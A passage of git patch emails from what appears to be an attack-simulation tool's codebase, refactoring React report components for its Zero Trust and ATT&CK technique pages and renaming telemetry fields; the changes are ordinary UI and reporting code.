    ); + } + stillLoadingDataFromServer() { return typeof this.state.findings === "undefined" || typeof this.state.pillars === "undefined" || typeof this.state.directives === "undefined"; } From f26ab7f62dc077ad78223ce831b6b40828465b30 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 19 Aug 2019 18:13:30 +0300 Subject: [PATCH 112/276] Using regular print. Doesn't look great, but better than nothing. --- .../cc/ui/src/components/pages/ZeroTrustReportPage.js | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index 0b9855707..fd7500216 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -71,7 +71,7 @@ class ZeroTrustReportPageComponent extends AuthComponent { return (
    - {this.print();}} /> + {print();}} />
    @@ -79,7 +79,7 @@ class ZeroTrustReportPageComponent extends AuthComponent { {content}
    - {this.print();}} /> + {print();}} />
    ) @@ -130,10 +130,6 @@ class ZeroTrustReportPageComponent extends AuthComponent { return typeof this.state.findings === "undefined" || typeof this.state.pillars === "undefined" || typeof this.state.directives === "undefined"; } - print() { - alert("unimplemented"); - } - getZeroTrustReportFromServer() { let res; this.authFetch('/api/report/zero_trust/findings') From db58bf9a87902accf8a16016075a0fa6f84304a5 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 19 Aug 2019 19:00:18 +0300 Subject: [PATCH 113/276] Fixed all small UI comments --- .../cc/ui/src/components/pages/ReportPage.js | 4 +- .../components/pages/ZeroTrustReportPage.js | 6 +-- .../common/MonkeysStillAliveWarning.js | 2 +- .../common/PaginatedTable.js | 7 +++ .../report-components/common/ReportHeader.js | 5 ++ .../report-components/common/ReportLoader.js | 3 ++ .../common/SecurityIssuesGlance.js | 2 +- .../zerotrust/DirectivesStatusTable.js | 16 +++--- .../zerotrust/EventsAndButtonComponent.js | 51 +++++++++++++++++++ .../zerotrust/EventsModal.js | 11 +++- .../zerotrust/EventsTimeline.js | 7 ++- .../zerotrust/FindingsTable.js | 49 ++---------------- .../zerotrust/PillarLabel.js | 29 ++++++----- .../zerotrust/PillarOverview.js | 11 ++-- .../zerotrust/SinglePillarDirectivesStatus.js | 10 ++-- .../zerotrust/StatusLabel.js | 10 ++-- .../zerotrust/StatusesToPillarsSummary.js | 11 ++-- 17 files changed, 144 insertions(+), 90 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsAndButtonComponent.js diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index ffdb32a6a..a72e0c56d 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -13,10 +13,10 @@ import PassTheHashMapPageComponent from "./PassTheHashMapPage"; import StrongUsers from "components/report-components/security/StrongUsers"; import AttackReport from "components/report-components/security/AttackReport"; import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeader"; -import {MonkeysStillAliveWarning} from "../report-components/common/MonkeysStillAliveWarning"; +import MonkeysStillAliveWarning from "../report-components/common/MonkeysStillAliveWarning"; import ReportLoader from "../report-components/common/ReportLoader"; import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning"; -import {SecurityIssuesGlance} from "../report-components/common/SecurityIssuesGlance"; +import SecurityIssuesGlance from "../report-components/common/SecurityIssuesGlance"; import PrintReportButton from "../report-components/common/PrintReportButton"; import {extractExecutionStatusFromServerResponse} from "../report-components/common/ExecutionStatus"; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index fd7500216..f68321023 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -5,11 +5,11 @@ import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeade import PillarsOverview from "../report-components/zerotrust/PillarOverview"; import FindingsTable from "../report-components/zerotrust/FindingsTable"; import {SinglePillarDirectivesStatus} from "../report-components/zerotrust/SinglePillarDirectivesStatus"; -import {MonkeysStillAliveWarning} from "../report-components/common/MonkeysStillAliveWarning"; +import MonkeysStillAliveWarning from "../report-components/common/MonkeysStillAliveWarning"; import ReportLoader from "../report-components/common/ReportLoader"; import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning"; -import {SecurityIssuesGlance} from "../report-components/common/SecurityIssuesGlance"; -import {StatusesToPillarsSummary} from "../report-components/zerotrust/StatusesToPillarsSummary"; +import SecurityIssuesGlance from "../report-components/common/SecurityIssuesGlance"; +import StatusesToPillarsSummary from "../report-components/zerotrust/StatusesToPillarsSummary"; import PrintReportButton from "../report-components/common/PrintReportButton"; import {extractExecutionStatusFromServerResponse} from "../report-components/common/ExecutionStatus"; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/MonkeysStillAliveWarning.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/MonkeysStillAliveWarning.js index 67fd9388a..7b72570fa 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/common/MonkeysStillAliveWarning.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/MonkeysStillAliveWarning.js @@ -1,7 +1,7 @@ import React, {Component} from "react"; import * as PropTypes from "prop-types"; -export class MonkeysStillAliveWarning extends Component { +export default class MonkeysStillAliveWarning extends Component { render() { return
    { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js index 53ae1774d..5bc6183fd 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js @@ -1,5 +1,6 @@ import React, {Component} from "react"; import ReactTable from "react-table"; +import * as PropTypes from "prop-types"; class PaginatedTable extends Component { render() { @@ -27,3 +28,9 @@ class PaginatedTable extends Component { } export default PaginatedTable; + +PaginatedTable.propTypes = { + data: PropTypes.array, + columns: PropTypes.array, + pageSize: PropTypes.number, +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js index 0db9cb93e..44d470f7e 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js @@ -1,5 +1,6 @@ import React, {Component} from "react"; import {Col} from "react-bootstrap"; +import * as PropTypes from "prop-types"; let monkeyLogoImage = require('../../../images/monkey-icon.svg'); @@ -38,3 +39,7 @@ export class ReportHeader extends Component { } export default ReportHeader; + +ReportHeader.propTypes = { + report_type: PropTypes.string, +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js index 873d70177..e389f7532 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js @@ -1,6 +1,7 @@ import {css} from "@emotion/core"; import React, {Component} from "react"; import {GridLoader} from "react-spinners"; +import * as PropTypes from "prop-types"; const loading_css_override = css` display: block; @@ -23,3 +24,5 @@ export default class ReportLoader extends Component {
    } } + +ReportLoader.propTypes = {loading: PropTypes.bool}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/SecurityIssuesGlance.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/SecurityIssuesGlance.js index f734a1a28..41a45edad 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/common/SecurityIssuesGlance.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/SecurityIssuesGlance.js @@ -1,7 +1,7 @@ import React, {Component, Fragment} from "react"; import * as PropTypes from "prop-types"; -export class SecurityIssuesGlance extends Component { +export default class SecurityIssuesGlance extends Component { render() { return { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/DirectivesStatusTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/DirectivesStatusTable.js index ad1a815cb..84e003a6b 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/DirectivesStatusTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/DirectivesStatusTable.js @@ -2,8 +2,8 @@ import React, {Fragment} from "react"; import PaginatedTable from "../common/PaginatedTable"; import AuthComponent from "../../AuthComponent"; import 'styles/ZeroTrustPillars.css' -import {StatusLabel} from "./StatusLabel"; - +import StatusLabel from "./StatusLabel"; +import * as PropTypes from "prop-types"; const columns = [ @@ -37,15 +37,15 @@ class TestsStatus extends AuthComponent { return ( - {this.getTestsOfStatusIfAny(conclusiveStatus)} - {this.getTestsOfStatusIfAny(inconclusiveStatus)} - {this.getTestsOfStatusIfAny(positiveStatus)} - {this.getTestsOfStatusIfAny(unexecutedStatus)} + {this.getFilteredTestsByStatusIfAny(conclusiveStatus)} + {this.getFilteredTestsByStatusIfAny(inconclusiveStatus)} + {this.getFilteredTestsByStatusIfAny(positiveStatus)} + {this.getFilteredTestsByStatusIfAny(unexecutedStatus)} ); } - getTestsOfStatusIfAny(statusToFilter) { + getFilteredTestsByStatusIfAny(statusToFilter) { const filteredTests = this.props.tests.filter((test) => { return (test.status === statusToFilter); } @@ -71,3 +71,5 @@ export class DirectivesStatusTable extends AuthComponent { } export default DirectivesStatusTable; + +DirectivesStatusTable.propTypes = {directivesStatus: PropTypes.array}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsAndButtonComponent.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsAndButtonComponent.js new file mode 100644 index 000000000..0222b375f --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsAndButtonComponent.js @@ -0,0 +1,51 @@ +import React, {Component} from "react"; +import EventsModal from "./EventsModal"; +import {Button} from "react-bootstrap"; +import FileSaver from "file-saver"; +import * as PropTypes from "prop-types"; + +export default class EventsAndButtonComponent extends Component { + constructor(props) { + super(props); + this.state = { + isShow: false + } + } + + hide = () => { + this.setState({isShow: false}); + }; + + show = () => { + this.setState({isShow: true}); + }; + + render() { + return ( +
    + +

    + + +

    +
    + ); + } + +} + +EventsAndButtonComponent.propTypes = { + events: PropTypes.array, + exportFilename: PropTypes.string, +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js index 19dd7761a..9543603bd 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js @@ -1,8 +1,9 @@ import React, {Component} from "react"; import {Modal} from "react-bootstrap"; -import {EventsTimeline} from "./EventsTimeline"; +import EventsTimeline from "./EventsTimeline"; +import * as PropTypes from "prop-types"; -export class EventsModal extends Component { +export default class EventsModal extends Component { constructor(props) { super(props); } @@ -30,3 +31,9 @@ export class EventsModal extends Component { ); } } + +EventsModal.propTypes = { + showEvents: PropTypes.bool, + events: PropTypes.array, + hideCallback: PropTypes.func, +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js index f70d5df31..8ba994c65 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js @@ -1,5 +1,6 @@ import React, {Component} from "react"; import {Timeline, TimelineEvent} from "react-event-timeline"; +import * as PropTypes from "prop-types"; const eventTypeToIcon = { "monkey_local": "fa fa-exclamation-circle fa-2x icon-warning", @@ -8,13 +9,13 @@ const eventTypeToIcon = { null: "fa fa-question-circle fa-2x icon-info", }; -export class EventsTimeline extends Component { +export default class EventsTimeline extends Component { render() { return (
    { - this.props["events"].map(event => { + this.props.events.map(event => { const event_time = new Date(event.timestamp['$date']).toString(); return ( { - this.setState({show: false}); - }; - - show = () => { - this.setState({show: true}); - }; - - render() { - return ( -
    - -

    - - -

    -
    - ); - } - -} - const columns = [ { Header: 'Findings', @@ -82,7 +39,7 @@ class FindingsTable extends Component { return newFinding; }); return ( - + ); } } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js index 4559e5cd9..0724f9a13 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js @@ -1,23 +1,26 @@ import React, {Component} from "react"; import 'styles/ZeroTrustPillars.css' import {statusToLabelType} from "./StatusLabel"; +import * as PropTypes from "prop-types"; -export class PillarLabel extends Component { - pillar; - status; +const pillarToIcon = { + "Data": "fa fa-database", + "People": "fa fa-user", + "Networks": "fa fa-wifi", + "Workloads": "fa fa-cloud", + "Devices": "fa fa-laptop", + "Visibility & Analytics": "fa fa-eye-slash", + "Automation & Orchestration": "fa fa-cogs", +}; +export default class PillarLabel extends Component { render() { - const pillarToIcon = { - "Data": "fa fa-database", - "People": "fa fa-user", - "Networks": "fa fa-wifi", - "Workloads": "fa fa-cloud", - "Devices": "fa fa-laptop", - "Visibility & Analytics": "fa fa-eye-slash", - "Automation & Orchestration": "fa fa-cogs", - }; - const className = "label " + statusToLabelType[this.props.status]; return
    {this.props.pillar}
    } } + +PillarLabel.propTypes = { + status: PropTypes.string, + pillar: PropTypes.string, +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js index c865ecf43..660e6ad5a 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js @@ -1,6 +1,7 @@ import React, {Component} from "react"; -import {PillarLabel} from "./PillarLabel"; +import PillarLabel from "./PillarLabel"; import PaginatedTable from "../common/PaginatedTable"; +import * as PropTypes from "prop-types"; const columns = [ { @@ -18,9 +19,6 @@ const columns = [ ]; class PillarOverview extends Component { - pillarsToStatuses; - grades; - render() { const data = this.props.grades.map((grade) => { const newGrade = grade; @@ -34,3 +32,8 @@ class PillarOverview extends Component { } export default PillarOverview; + +PillarOverview.propTypes = { + grades: PropTypes.array, + status: PropTypes.string, +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarDirectivesStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarDirectivesStatus.js index feb56b204..b8ded2d5a 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarDirectivesStatus.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarDirectivesStatus.js @@ -1,11 +1,10 @@ import AuthComponent from "../../AuthComponent"; -import {PillarLabel} from "./PillarLabel"; +import PillarLabel from "./PillarLabel"; import DirectivesStatusTable from "./DirectivesStatusTable"; import React, {Fragment} from "react"; +import * as PropTypes from "prop-types"; export class SinglePillarDirectivesStatus extends AuthComponent { - directivesStatus; - render() { if (this.props.directivesStatus.length === 0) { return null; @@ -20,3 +19,8 @@ export class SinglePillarDirectivesStatus extends AuthComponent { } } } + +SinglePillarDirectivesStatus.propTypes = { + directivesStatus: PropTypes.array, + pillar: PropTypes.string, +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js index a53e4c919..f9c885b2c 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js @@ -1,4 +1,4 @@ -import React, {Component, Fragment} from "react"; +import React, {Component} from "react"; import * as PropTypes from "prop-types"; const statusToIcon = { @@ -15,7 +15,7 @@ export const statusToLabelType = { "Unexecuted": "label-default", }; -export class StatusLabel extends Component { +export default class StatusLabel extends Component { render() { let text = ""; if (this.props.showText) { @@ -28,4 +28,8 @@ export class StatusLabel extends Component { } } -StatusLabel.propTypes = {status: PropTypes.string, showText: PropTypes.bool}; +StatusLabel.propTypes = { + status: PropTypes.string, + showText: PropTypes.bool, + size: PropTypes.string +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js index bfcaceed9..486a59d9f 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js @@ -1,8 +1,9 @@ import React, {Component, Fragment} from "react"; -import {PillarLabel} from "./PillarLabel"; -import {StatusLabel} from "./StatusLabel"; +import PillarLabel from "./PillarLabel"; +import StatusLabel from "./StatusLabel"; +import * as PropTypes from "prop-types"; -export class StatusesToPillarsSummary extends Component { +export default class StatusesToPillarsSummary extends Component { render() { return (
    {this.getStatusSummary("Conclusive")} @@ -29,3 +30,7 @@ export class StatusesToPillarsSummary extends Component { } } } + +StatusesToPillarsSummary.propTypes = { + statusesToPillars: PropTypes.array +}; From cae1b72d861da36da91e9862a2246badf113e924 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 20 Aug 2019 08:35:45 +0300 Subject: [PATCH 114/276] Added machine to t1222 telem. comment --- monkey/infection_monkey/telemetry/attack/t1222_telem.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/telemetry/attack/t1222_telem.py b/monkey/infection_monkey/telemetry/attack/t1222_telem.py index c8d16061e..4708c230a 100644 --- a/monkey/infection_monkey/telemetry/attack/t1222_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1222_telem.py @@ -7,6 +7,7 @@ class T1222Telem(VictimHostTelem): T1222 telemetry. :param status: ScanStatus of technique :param command: command used to change permissions + :param machine: VictimHost type object """ super(T1222Telem, self).__init__('T1222', status, machine) self.command = command From 1e661476a95f62d3848a81b9b63e0d40052bdda6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 20 Aug 2019 08:52:36 +0300 Subject: [PATCH 115/276] UI bugfixes --- .../cc/ui/src/components/attack/techniques/T1041.js | 8 ++++---- .../cc/ui/src/components/attack/techniques/T1090.js | 4 ++-- .../cc/ui/src/components/attack/techniques/T1188.js | 4 ++-- 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js index be691e484..3d6b45d08 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import {scanStatus} from "./Helpers"; +import {ScanStatus} from "./Helpers"; class T1041 extends React.Component { @@ -22,12 +22,12 @@ class T1041 extends React.Component {
    {this.props.data.message}

    - {this.props.data.status === scanStatus.USED ? + {this.props.data.status === ScanStatus.USED ? : ""}
    ); diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js index 99660cf65..60bfcde43 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1090.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { renderMachineFromSystemData, scanStatus } from "./Helpers" +import { renderMachineFromSystemData, ScanStatus } from "./Helpers" class T1090 extends React.Component { @@ -25,7 +25,7 @@ class T1090 extends React.Component {
    {this.props.data.message}

    - {this.props.data.status === scanStatus.USED ? + {this.props.data.status === ScanStatus.USED ?
    {this.props.data.message}

    - {this.props.data.status === scanStatus.USED ? + {this.props.data.status === ScanStatus.USED ? Date: Tue, 20 Aug 2019 15:05:14 +0300 Subject: [PATCH 116/276] Renamed '_type' to 'gathered_data_type' in data from local system attack technique. --- monkey/infection_monkey/telemetry/attack/t1005_telem.py | 8 ++++---- .../cc/services/attack/technique_reports/T1005.py | 4 ++-- .../cc/ui/src/components/attack/techniques/T1005.js | 4 ++-- 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/telemetry/attack/t1005_telem.py b/monkey/infection_monkey/telemetry/attack/t1005_telem.py index 228ccb67c..999d8622a 100644 --- a/monkey/infection_monkey/telemetry/attack/t1005_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1005_telem.py @@ -2,21 +2,21 @@ from infection_monkey.telemetry.attack.attack_telem import AttackTelem class T1005Telem(AttackTelem): - def __init__(self, status, _type, info=""): + def __init__(self, status, gathered_data_type, info=""): """ T1005 telemetry. :param status: ScanStatus of technique - :param _type: Type of data collected + :param gathered_data_type: Type of data collected from local system :param info: Additional info about data """ super(T1005Telem, self).__init__('T1005', status) - self._type = _type + self.gathered_data_type = gathered_data_type self.info = info def get_data(self): data = super(T1005Telem, self).get_data() data.update({ - 'type': self._type, + 'gathered_data_type': self.gathered_data_type, 'info': self.info }) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py index 06f408784..b84fe4a6f 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py @@ -19,12 +19,12 @@ class T1005(AttackTechnique): 'as': 'monkey'}}, {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, 'status': '$data.status', - 'type': '$data.type', + 'gathered_data_type': '$data.gathered_data_type', 'info': '$data.info'}}, {'$addFields': {'_id': 0, 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, 'monkey': 0}}, - {'$group': {'_id': {'machine': '$machine', 'type': '$type', 'info': '$info'}}}, + {'$group': {'_id': {'machine': '$machine', 'gathered_data_type': '$gathered_data_type', 'info': '$info'}}}, {"$replaceRoot": {"newRoot": "$_id"}}] @staticmethod diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js index 6746d16ed..afc676797 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js @@ -11,10 +11,10 @@ class T1005 extends React.Component { static getDataColumns() { return ([{ - Header: "Data gathered from local systems", + Header: "Sensitive data", columns: [ {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, - {Header: 'Type', id: 'type', accessor: x => x.type, style: { 'whiteSpace': 'unset' }}, + {Header: 'Type', id: 'type', accessor: x => x.gathered_data_type, style: { 'whiteSpace': 'unset' }}, {Header: 'Info', id: 'info', accessor: x => x.info, style: { 'whiteSpace': 'unset' }}, ]}])}; From bfa524b3ea24567b205cdda7aa048e86e17b38e6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 20 Aug 2019 15:20:38 +0300 Subject: [PATCH 117/276] Fixed typos in UI (renamed scanStatus to ScanStatus) --- .../cc/ui/src/components/attack/techniques/T1005.js | 4 ++-- .../cc/ui/src/components/attack/techniques/T1222.js | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js index afc676797..6d46c2285 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1005.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import {renderMachineFromSystemData, scanStatus} from "./Helpers"; +import {renderMachineFromSystemData, ScanStatus} from "./Helpers"; class T1005 extends React.Component { @@ -23,7 +23,7 @@ class T1005 extends React.Component {
    {this.props.data.message}

    - {this.props.data.status === scanStatus.USED ? + {this.props.data.status === ScanStatus.USED ?
    {this.props.data.message}

    - {this.props.data.status === scanStatus.USED ? + {this.props.data.status === ScanStatus.USED ? Date: Tue, 20 Aug 2019 15:39:10 +0300 Subject: [PATCH 118/276] Fixed CR comments --- .../cc/ui/src/components/attack/techniques/T1018.js | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js index 6a903244e..dcf7687db 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1018.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { renderMachineFromSystemData, renderMachine, scanStatus } from "./Helpers" +import { renderMachineFromSystemData, renderMachine, ScanStatus } from "./Helpers" class T1018 extends React.Component { @@ -22,8 +22,8 @@ class T1018 extends React.Component { return ([{ columns: [ {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.monkey), style: { 'whiteSpace': 'unset' }}, - {Header: 'Started', id: 'started', accessor: x => x.started, style: { 'whiteSpace': 'unset' }}, - {Header: 'Finished', id: 'finished', accessor: x => x.finished, style: { 'whiteSpace': 'unset' }}, + {Header: 'First scan', id: 'started', accessor: x => x.started, style: { 'whiteSpace': 'unset' }}, + {Header: 'Last scan', id: 'finished', accessor: x => x.finished, style: { 'whiteSpace': 'unset' }}, {Header: 'Systems found', id: 'systems', accessor: x => T1018.renderMachines(x.machines), style: { 'whiteSpace': 'unset' }}, ] }])}; @@ -33,7 +33,7 @@ class T1018 extends React.Component {
    {this.props.data.message}

    - {this.props.data.status === scanStatus.USED ? + {this.props.data.status === ScanStatus.USED ? Date: Tue, 20 Aug 2019 16:27:48 +0300 Subject: [PATCH 119/276] Fixed CR comments --- .../cc/services/attack/technique_reports/T1016.py | 7 ++----- .../cc/ui/src/components/attack/techniques/Helpers.js | 10 +++++----- .../cc/ui/src/components/attack/techniques/T1016.js | 6 +++--- .../cc/ui/src/components/attack/techniques/T1082.js | 4 ++-- 4 files changed, 12 insertions(+), 15 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py index 4525fd035..43d7c42b0 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py @@ -21,7 +21,7 @@ class T1016(AttackTechnique): 'networks': 0, 'info': [ {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$netstat', {}]}]}, - 'name': {'$literal': 'Network connections (via netstat command)'}}, + 'name': {'$literal': 'Network connections (netstat)'}}, {'used': {'$and': [{'$ifNull': ['$networks', False]}, {'$gt': ['$networks', {}]}]}, 'name': {'$literal': 'Network interface info'}}, ]}}] @@ -29,10 +29,7 @@ class T1016(AttackTechnique): @staticmethod def get_report_data(): network_info = list(mongo.db.telemetry.aggregate(T1016.query)) - if network_info: - status = ScanStatus.USED.value - else: - status = ScanStatus.UNSCANNED.value + status = ScanStatus.USED.value if network_info else ScanStatus.UNSCANNED.value data = T1016.get_base_data_by_status(status) data.update({'network_info': network_info}) return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js index b0448f033..3025b4bc9 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/Helpers.js @@ -36,14 +36,14 @@ export function getUsageColumns() { style: { 'whiteSpace': 'unset' }}] }])} -/* Renders fields that contains 'used' boolean value and 'name' string value. +/* Renders table fields that contains 'used' boolean value and 'name' string value. 'Used' value determines if 'name' value will be shown. */ -export function renderCollections(info){ +export function renderUsageFields(usages){ let output = []; - info.forEach(function(collection){ - if(collection['used']){ - output.push(
    {collection['name']}
    ) + usages.forEach(function(usage){ + if(usage['used']){ + output.push(
    {usage['name']}
    ) } }); return (
    {output}
